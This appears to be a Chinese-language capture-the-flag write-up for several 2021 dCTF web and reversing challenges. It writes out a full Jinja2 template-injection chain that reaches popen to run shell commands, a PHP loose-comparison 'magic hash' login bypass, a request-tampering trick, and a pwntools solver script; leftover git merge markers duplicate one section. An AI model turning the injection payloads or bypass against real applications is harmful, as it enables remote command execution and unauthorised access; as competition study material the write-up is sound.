https://dctf.dragonsec.si/challenges

Simple web(web)

image-20210516205454863

访问http://dctf1-chall-simple-web.westeurope.azurecontainer.io:8080/,页面如下

image-20210516205525623

勾选并Submit,页面显示Not authorized

查看提交数据

image-20210516205616133

修改请求体中的auth=1

image-20210516205646433

页面返回flag信息ctf{w3b_c4n_b3_fun_r1ght?}

Injection

image-20210516210326614

访问http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/,页面显示如下

image-20210516210343773

输入任意账号密码,提交后,页面返回Oops! Page login doesn’t exist :(

我后续尝试过爆路径等方式企图获取更多信息,但失败了。

后面从错误信息和response头部获取到相关信息,服务器用的是waitress,是Python WSGI server,所以判断是个SSTI,所以做一下尝试

访问http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B1+1%7D%7D,页面返回Oops! Page 2 doesn’t exist :(,说明存在SSTI漏洞

接下来利用以下方法进行命令执行

1
2
3
4
5
6
1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[133]}}#这里我们利用的是<class 'os._wrap_close'>类,根据第二步获取的列表去修改这里的索引,本次是133
5.{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令

接下来就比较简单了。去查找flag,最终在**./lib/security.py**找到关键信息

访问

1
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat%20./lib/security.py').read()%7D%7D

获取security.py的内容

1
2
3
4
5
6
import base64 
def validate_login(username, password): 
    if username != 'admin': 
        return False 
    valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ' 
    return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password

对valid_password反序后base64解码,就能获得flag:dctf{4ll_us3r_1nput_1s_3v1l}

Very secure website

image-20210516212247619

访问http://dctf1-chall-very-secure-site.westeurope.azurecontainer.io/,页面显示如下

image-20210516212324484 查看source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
            echo "Invalid username";
        }
        else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
            $flag = fopen("flag.txt", "r") or die("Cannot open file");
            echo fread($flag, filesize("flag.txt"));
            fclose($flag);
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
?>

代码里用了hash算法中的tiger128,4,用关键字去搜索得到以下结果

image-20210516212535704

所以用户名是admin

(密码的密文搜不到)

又看到密码判断的时候,用的是**==**,且密文是0e开头的。所以我们也找一个字符串hash后的密文也是以0e开头的就可以了

在这个网址我们找到了我们想要的内容

https://www.cnblogs.com/Oran9e/p/6537204.html

image-20210516212830982

所以我们在登录页面,输入admin:479763000,就能登录成功并获取到flag:dctf{It’s_magic._I_ain’t_gotta_explain_shit.}

«««< HEAD

备注一个网站,https://md5hashing.net/hash/tiger128,4,该网站可以计算hash和搜索一些已知的hash明文 ======= 查看source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
            echo "Invalid username";
        }
        else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
            $flag = fopen("flag.txt", "r") or die("Cannot open file");
            echo fread($flag, filesize("flag.txt"));
            fclose($flag);
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
?>

代码里用了hash算法中的tiger128,4,用关键字去搜索得到以下结果

image-20210516212535704

所以用户名是admin

(密码的密文搜不到)

又看到密码判断的时候,用的是**==**,且密文是0e开头的。所以我们也找一个字符串hash后的密文也是以0e开头的就可以了

在这个网址我们找到了我们想要的内容

https://www.cnblogs.com/Oran9e/p/6537204.html

image-20210516212830982

所以我们在登录页面,输入admin:479763000,就能登录成功并获取到flag:dctf{It’s_magic._I_ain’t_gotta_explain_shit.}

备注一个网站,https://md5hashing.net/hash/tiger128,4,该网站可以计算hash和搜索一些已知的hash明文

f5e924feb2a683aff1a805d7a443e4a13b6a141e

Bell

image-20210516224615069

文件拖入IDA内进行分析

main函数(随机数生成并打印)

image-20210516224651957

process函数(遍历并检查输入与预期是否相同):

image-20210516224730346

triangle函数(是一个递归函数):

image-20210516224949004

根据以上内容,写出脚本,如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import remote #pip install pwntools
from hashlib import sha256

def solvepow(p):
    n = p.recvline()
    n=int(n)
    print(n)
    for i in range(1,n+1):
        t=triangle(n,i)
        p.sendline(str(t))
    print(p.recvline().decode())
    
    
def triangle(a1,a2):
    if a2>a1:
        return 0
    if a1==1 and a2==1:
        return 1
    if a2==1:
        return triangle(a1-1,a1-1)
    t = triangle(a1,a2-1)
    return t+triangle(a1-1,a2-1)
def exploit(p):
    p.interactive()

if __name__ == '__main__':
    p = remote('dctf-chall-bell.westeurope.azurecontainer.io', 5311)
    solvepow(p)
    exploit(p)

flag:dctf{f1rst_step_t0wards_b3ll_l4bs}

Just In Time

refer

https://blog.csdn.net/qq_46091464/article/details/109030194